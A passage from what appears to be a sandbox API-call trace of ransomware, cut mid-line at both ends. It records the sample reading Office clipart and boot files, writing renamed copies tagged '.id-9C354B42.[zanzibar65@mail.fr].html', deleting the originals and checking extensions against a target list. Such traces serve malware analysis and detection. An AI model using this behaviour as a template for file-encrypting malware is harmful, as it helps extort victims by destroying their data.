Office\\CLIPART\\PUB60COR\\HH01013_.WMF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01013_.wmf.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0274.712] GetLastError () returned 0x0 [0274.712] ReadFile (in: hFile=0x3a0, lpBuffer=0x3850020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3850020*, lpNumberOfBytesRead=0x2d3fed4*=0xb20, lpOverlapped=0x0) returned 1 [0274.713] WriteFile (in: hFile=0x39c, lpBuffer=0x3850020*, nNumberOfBytesToWrite=0xb30, lpNumberOfBytesWritten=0x2d3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3850020*, lpNumberOfBytesWritten=0x2d3fc9c*=0xb30, lpOverlapped=0x0) returned 1 [0274.714] ReadFile (in: hFile=0x3a0, lpBuffer=0x3850020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3850020*, lpNumberOfBytesRead=0x2d3fed4*=0x0, lpOverlapped=0x0) returned 1 [0274.714] WriteFile (in: hFile=0x39c, lpBuffer=0x3850020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3850020*, lpNumberOfBytesWritten=0x2d3fc9c*=0xec, lpOverlapped=0x0) returned 1 [0274.714] SetEndOfFile (hFile=0x39c) returned 1 [0274.714] CloseHandle (hObject=0x39c) returned 1 [0274.714] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d3fec8 | out: lpNewFilePointer=0x0) returned 1 [0274.714] SetEndOfFile (hFile=0x3a0) returned 1 [0274.718] CloseHandle (hObject=0x3a0) returned 1 [0274.718] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01013_.WMF.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0274.718] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01013_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01013_.wmf")) returned 1 [0274.718] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01013_.WMF") returned 63 [0274.718] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01013_.WMF") returned 63 [0274.718] lstrlenW (lpString=".doc") returned 4 [0274.718] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0274.718] lstrlenW (lpString=".docx") returned 5 [0274.718] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0274.718] lstrlenW (lpString=".pdf") returned 4 [0274.718] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0274.718] lstrlenW (lpString=".xls") returned 4 [0274.718] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0274.718] lstrlenW (lpString=".xlsx") returned 5 [0274.718] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0274.719] lstrlenW (lpString=".ppt") returned 4 [0274.719] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0274.719] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01013_.WMF") returned 63 [0274.719] lstrlenW (lpString=".zip") returned 4 [0274.719] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0274.719] lstrlenW (lpString=".rar") returned 4 [0274.719] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0274.719] lstrlenW (lpString=".bz2") returned 4 [0274.719] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0274.719] lstrlenW (lpString=".7z") returned 3 [0274.719] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0274.719] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01013_.WMF") returned 63 [0274.719] lstrlenW (lpString=".dbf") returned 4 [0274.719] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0274.719] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01013_.WMF") returned 63 [0274.719] lstrlenW (lpString=".1cd") returned 4 [0274.719] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0274.719] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01013_.WMF") returned 63 [0274.719] lstrlenW (lpString=".jpg") returned 4 [0274.719] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0274.719] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01013_.WMF") returned 63 [0274.719] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01013_.WMF") returned 63 [0274.719] lstrlenW (lpString=".doc") returned 4 [0274.719] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0274.719] lstrlenW (lpString=".docx") returned 5 [0274.719] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0274.719] lstrlenW (lpString=".pdf") returned 4 [0274.719] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0274.719] lstrlenW (lpString=".xls") returned 4 [0274.719] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0274.719] lstrlenW (lpString=".xlsx") returned 5 [0274.719] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0274.720] lstrlenW (lpString=".ppt") returned 4 [0274.720] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0274.720] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01013_.WMF") returned 63 [0274.720] lstrlenW (lpString=".zip") returned 4 [0274.720] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0274.720] lstrlenW (lpString=".rar") returned 4 [0274.720] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0274.720] lstrlenW (lpString=".bz2") returned 4 [0274.720] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0274.720] lstrlenW (lpString=".7z") returned 3 [0274.720] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0274.720] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01013_.WMF") returned 63 [0274.720] lstrlenW (lpString=".dbf") returned 4 [0274.720] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0274.720] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01013_.WMF") returned 63 [0274.720] lstrlenW (lpString=".1cd") returned 4 [0274.720] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0274.720] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01013_.WMF") returned 63 [0274.720] lstrlenW (lpString=".jpg") returned 4 [0274.720] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0274.720] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1 [0274.720] lstrlenW (lpString="HH01058_.WMF") returned 12 [0274.720] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01058_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01058_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0274.721] GetFileSizeEx (in: hFile=0x3a0, lpFileSize=0x2d3ff1c | out: lpFileSize=0x2d3ff1c*=2756) returned 1 [0274.721] CloseHandle (hObject=0x3a0) returned 1 [0274.721] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01058_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01058_.wmf")) returned 0x20 [0274.721] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01058_.WMF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01058_.wmf.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0274.721] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01058_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01058_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0274.721] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d3fec8 | out: lpNewFilePointer=0x0) returned 1 [0274.721] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d3fec8 | out: lpNewFilePointer=0x0) returned 1 [0274.721] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01058_.WMF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01058_.wmf.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0274.721] GetLastError () returned 0x0 [0274.721] ReadFile (in: hFile=0x3a0, lpBuffer=0x3850020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3850020*, lpNumberOfBytesRead=0x2d3fed4*=0xac4, lpOverlapped=0x0) returned 1 [0274.723] WriteFile (in: hFile=0x39c, lpBuffer=0x3850020*, nNumberOfBytesToWrite=0xad0, lpNumberOfBytesWritten=0x2d3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3850020*, lpNumberOfBytesWritten=0x2d3fc9c*=0xad0, lpOverlapped=0x0) returned 1 [0274.723] ReadFile (in: hFile=0x3a0, lpBuffer=0x3850020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3850020*, lpNumberOfBytesRead=0x2d3fed4*=0x0, lpOverlapped=0x0) returned 1 [0274.723] WriteFile (in: hFile=0x39c, lpBuffer=0x3850020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3850020*, lpNumberOfBytesWritten=0x2d3fc9c*=0xec, lpOverlapped=0x0) returned 1 [0274.723] SetEndOfFile (hFile=0x39c) returned 1 [0274.724] CloseHandle (hObject=0x39c) returned 1 [0274.724] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d3fec8 | out: lpNewFilePointer=0x0) returned 1 [0274.724] SetEndOfFile (hFile=0x3a0) returned 1 [0274.726] CloseHandle (hObject=0x3a0) returned 1 [0274.726] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01058_.WMF.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0274.726] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01058_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01058_.wmf")) returned 1 [0274.726] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01058_.WMF") returned 63 [0274.727] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01058_.WMF") returned 63 [0274.727] lstrlenW (lpString=".doc") returned 4 [0274.727] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0274.727] lstrlenW (lpString=".docx") returned 5 [0274.727] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0274.727] lstrlenW (lpString=".pdf") returned 4 [0274.727] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0274.727] lstrlenW (lpString=".xls") returned 4 [0274.727] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0274.727] lstrlenW (lpString=".xlsx") returned 5 [0274.727] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0274.727] lstrlenW (lpString=".ppt") returned 4 [0274.727] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0274.727] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01058_.WMF") returned 63 [0274.727] lstrlenW (lpString=".zip") returned 4 [0274.727] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0274.727] lstrlenW (lpString=".rar") returned 4 [0274.727] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0274.727] lstrlenW (lpString=".bz2") returned 4 [0274.727] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0274.727] lstrlenW (lpString=".7z") returned 3 [0274.727] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0274.727] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01058_.WMF") returned 63 [0274.727] lstrlenW (lpString=".dbf") returned 4 [0274.727] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0274.727] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01058_.WMF") returned 63 [0274.727] lstrlenW (lpString=".1cd") returned 4 [0274.727] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0274.727] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01058_.WMF") returned 63 [0274.728] lstrlenW (lpString=".jpg") returned 4 [0274.728] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0274.728] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01058_.WMF") returned 63 [0274.728] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01058_.WMF") returned 63 [0274.728] lstrlenW (lpString=".doc") returned 4 [0274.728] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0274.728] lstrlenW (lpString=".docx") returned 5 [0274.728] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0274.728] lstrlenW (lpString=".pdf") returned 4 [0274.728] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0274.728] lstrlenW (lpString=".xls") returned 4 [0274.728] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0274.728] lstrlenW (lpString=".xlsx") returned 5 [0274.728] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0274.728] lstrlenW (lpString=".ppt") returned 4 [0274.728] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0274.728] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01058_.WMF") returned 63 [0274.728] lstrlenW (lpString=".zip") returned 4 [0274.728] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0274.728] lstrlenW (lpString=".rar") returned 4 [0274.728] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0274.728] lstrlenW (lpString=".bz2") returned 4 [0274.728] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0274.728] lstrlenW (lpString=".7z") returned 3 [0274.728] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0274.728] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01058_.WMF") returned 63 [0274.728] lstrlenW (lpString=".dbf") returned 4 [0274.728] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0274.728] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01058_.WMF") returned 63 [0274.728] lstrlenW (lpString=".1cd") returned 4 [0274.728] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0274.728] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01058_.WMF") returned 63 [0274.728] lstrlenW (lpString=".jpg") returned 4 [0274.729] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0274.729] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1 [0274.729] lstrlenW (lpString="HH01065_.WMF") returned 12 [0274.729] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01065_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01065_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0274.930] GetFileSizeEx (in: hFile=0x354, lpFileSize=0x2d3ff1c | out: lpFileSize=0x2d3ff1c*=1268) returned 1 [0274.930] CloseHandle (hObject=0x354) returned 1 [0274.930] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01065_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01065_.wmf")) returned 0x20 [0274.959] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01065_.WMF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01065_.wmf.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0274.989] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01065_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01065_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0275.000] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d3fec8 | out: lpNewFilePointer=0x0) returned 1 [0275.000] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d3fec8 | out: lpNewFilePointer=0x0) returned 1 [0275.000] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01065_.WMF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01065_.wmf.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) Thread: id = 97 os_tid = 0x67c [0266.589] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10000) returned 0x383498 [0266.589] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10000) returned 0x3960048 [0266.590] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2f53f0 [0266.590] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x6) returned 0x2f2f60 [0266.590] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2f5078 [0266.590] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x100000) returned 0x3a60020 [0266.590] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2f5150 [0266.590] RtlReAllocateHeap (Heap=0x2a0000, Flags=0x0, Ptr=0x2f5150, Size=0x20) returned 0x312ae8 [0266.590] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2f5150 [0266.590] RtlReAllocateHeap (Heap=0x2a0000, Flags=0x0, Ptr=0x2f5150, Size=0x20) returned 0x312ac0 [0266.590] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x77410000 [0266.590] GetProcAddress (hModule=0x77410000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x7743d650 [0266.590] Wow64DisableWow64FsRedirection (in: OldValue=0x2e7ff58 | out: OldValue=0x2e7ff58*=0x0) returned 1 [0266.590] lstrlenW (lpString="kernel32.dll") returned 12 [0266.590] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x312ae8 | out: hHeap=0x2a0000) returned 1 [0266.590] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0266.590] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x312ac0 | out: hHeap=0x2a0000) returned 1 [0266.591] Sleep (dwMilliseconds=0x64) [0266.835] lstrcmpiW (lpString1=".LOG2", lpString2=".html") returned 1 [0266.835] lstrlenW (lpString="BCD.LOG2") returned 8 [0266.835] CreateFileW (lpFileName="C:\\Boot\\BCD.LOG2" (normalized: "c:\\boot\\bcd.log2"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b8 [0266.925] GetFileSizeEx (in: hFile=0x2b8, lpFileSize=0x2e7ff1c | out: lpFileSize=0x2e7ff1c*=0) returned 1 [0266.925] CloseHandle (hObject=0x2b8) returned 1 [0266.925] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0266.925] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0266.925] lstrlenW (lpString=".doc") returned 4 [0266.925] lstrcmpiW (lpString1=".doc", lpString2="LOG2") returned -1 [0266.925] lstrlenW (lpString=".docx") returned 5 [0266.926] lstrcmpiW (lpString1=".docx", lpString2=".LOG2") returned -1 [0266.926] lstrlenW (lpString=".pdf") returned 4 [0266.926] lstrcmpiW (lpString1=".pdf", lpString2="LOG2") returned -1 [0266.926] lstrlenW (lpString=".xls") returned 4 [0266.926] lstrcmpiW (lpString1=".xls", lpString2="LOG2") returned -1 [0266.926] lstrlenW (lpString=".xlsx") returned 5 [0266.926] lstrcmpiW (lpString1=".xlsx", lpString2=".LOG2") returned 1 [0266.926] lstrlenW (lpString=".ppt") returned 4 [0266.926] lstrcmpiW (lpString1=".ppt", lpString2="LOG2") returned -1 [0266.926] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0266.926] lstrlenW (lpString=".zip") returned 4 [0266.926] lstrcmpiW (lpString1=".zip", lpString2="LOG2") returned -1 [0266.926] lstrlenW (lpString=".rar") returned 4 [0266.926] lstrcmpiW (lpString1=".rar", lpString2="LOG2") returned -1 [0266.926] lstrlenW (lpString=".bz2") returned 4 [0266.926] lstrcmpiW (lpString1=".bz2", lpString2="LOG2") returned -1 [0266.926] lstrlenW (lpString=".7z") returned 3 [0266.926] lstrcmpiW (lpString1=".7z", lpString2="OG2") returned -1 [0266.926] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0266.926] lstrlenW (lpString=".dbf") returned 4 [0266.926] lstrcmpiW (lpString1=".dbf", lpString2="LOG2") returned -1 [0266.926] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0266.926] lstrlenW (lpString=".1cd") returned 4 [0266.926] lstrcmpiW (lpString1=".1cd", lpString2="LOG2") returned -1 [0266.926] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0266.926] lstrlenW (lpString=".jpg") returned 4 [0266.926] lstrcmpiW (lpString1=".jpg", lpString2="LOG2") returned -1 [0266.926] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0266.926] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0266.926] lstrlenW (lpString=".doc") returned 4 [0266.926] lstrcmpiW (lpString1=".doc", lpString2="LOG2") returned -1 [0266.926] lstrlenW (lpString=".docx") returned 5 [0266.926] lstrcmpiW (lpString1=".docx", lpString2=".LOG2") returned -1 [0266.927] lstrlenW (lpString=".pdf") returned 4 [0266.927] lstrcmpiW (lpString1=".pdf", lpString2="LOG2") returned -1 [0266.927] lstrlenW (lpString=".xls") returned 4 [0266.927] lstrcmpiW (lpString1=".xls", lpString2="LOG2") returned -1 [0266.927] lstrlenW (lpString=".xlsx") returned 5 [0266.927] lstrcmpiW (lpString1=".xlsx", lpString2=".LOG2") returned 1 [0266.927] lstrlenW (lpString=".ppt") returned 4 [0266.927] lstrcmpiW (lpString1=".ppt", lpString2="LOG2") returned -1 [0266.927] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0266.927] lstrlenW (lpString=".zip") returned 4 [0266.927] lstrcmpiW (lpString1=".zip", lpString2="LOG2") returned -1 [0266.927] lstrlenW (lpString=".rar") returned 4 [0266.927] lstrcmpiW (lpString1=".rar", lpString2="LOG2") returned -1 [0266.927] lstrlenW (lpString=".bz2") returned 4 [0266.927] lstrcmpiW (lpString1=".bz2", lpString2="LOG2") returned -1 [0266.927] lstrlenW (lpString=".7z") returned 3 [0266.927] lstrcmpiW (lpString1=".7z", lpString2="OG2") returned -1 [0266.927] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0266.927] lstrlenW (lpString=".dbf") returned 4 [0266.927] lstrcmpiW (lpString1=".dbf", lpString2="LOG2") returned -1 [0266.927] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0266.927] lstrlenW (lpString=".1cd") returned 4 [0266.927] lstrcmpiW (lpString1=".1cd", lpString2="LOG2") returned -1 [0266.927] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0266.927] lstrlenW (lpString=".jpg") returned 4 [0266.927] lstrcmpiW (lpString1=".jpg", lpString2="LOG2") returned -1 [0266.927] Sleep (dwMilliseconds=0x64) [0267.037] lstrcmpiW (lpString1=".mui", lpString2=".html") returned 1 [0267.037] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0267.037] CreateFileW (lpFileName="C:\\Boot\\cs-CZ\\bootmgr.exe.mui" (normalized: "c:\\boot\\cs-cz\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec [0267.037] GetFileSizeEx (in: hFile=0x2ec, lpFileSize=0x2e7ff1c | out: lpFileSize=0x2e7ff1c*=89168) returned 1 [0267.037] CloseHandle (hObject=0x2ec) returned 1 [0267.037] GetFileAttributesW (lpFileName="C:\\Boot\\cs-CZ\\bootmgr.exe.mui" (normalized: "c:\\boot\\cs-cz\\bootmgr.exe.mui")) returned 0x20 [0267.037] GetFileAttributesW (lpFileName="C:\\Boot\\cs-CZ\\bootmgr.exe.mui.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\boot\\cs-cz\\bootmgr.exe.mui.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0267.037] CreateFileW (lpFileName="C:\\Boot\\cs-CZ\\bootmgr.exe.mui" (normalized: "c:\\boot\\cs-cz\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0267.037] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29 [0267.037] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29 [0267.037] lstrlenW (lpString=".doc") returned 4 [0267.037] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0267.037] lstrlenW (lpString=".docx") returned 5 [0267.037] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0267.037] lstrlenW (lpString=".pdf") returned 4 [0267.037] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0267.037] lstrlenW (lpString=".xls") returned 4 [0267.037] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0267.037] lstrlenW (lpString=".xlsx") returned 5 [0267.037] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0267.037] lstrlenW (lpString=".ppt") returned 4 [0267.038] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0267.038] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29 [0267.038] lstrlenW (lpString=".zip") returned 4 [0267.038] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0267.038] lstrlenW (lpString=".rar") returned 4 [0267.038] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0267.038] lstrlenW (lpString=".bz2") returned 4 [0267.038] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0267.038] lstrlenW 